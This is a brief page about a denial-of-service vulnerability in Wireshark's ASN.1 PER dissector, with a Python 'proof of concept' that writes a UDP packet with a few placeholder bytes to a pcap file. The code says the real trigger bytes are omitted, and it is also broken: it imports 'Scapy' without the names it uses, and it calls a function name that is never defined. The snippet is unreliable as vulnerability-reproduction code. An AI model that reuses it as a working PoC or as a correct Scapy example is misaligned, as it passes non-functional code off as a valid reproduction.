CVE-2026-6527 Wireshark ASN.1 PER协议解析器拒绝服务漏洞

import Scapy def generate_malformed_pcap(filename): """ Generate a pcap file with a malformed ASN.1 PER payload. This is a generic PoC structure to test the dissector stability. """ # Craft a basic UDP packet pkt = IP(dst="127.0.0.1")/UDP(dport=12345) # Append a payload that mimics malformed ASN.1 PER data # Specific bytes required to trigger the crash are omitted for safety, # but this structure demonstrates the delivery method. malformed_payload = b"\x00\x01\x02\xff\xff\x00" pkt = pkt / Raw(load=malformed_payload) # Save to pcap wrpcap(filename, [pkt]) print(f"[+] Generated test file: {filename}") if __name__ == "__main__": generate_malformed_poc("cve_2026_6527_test.pcap")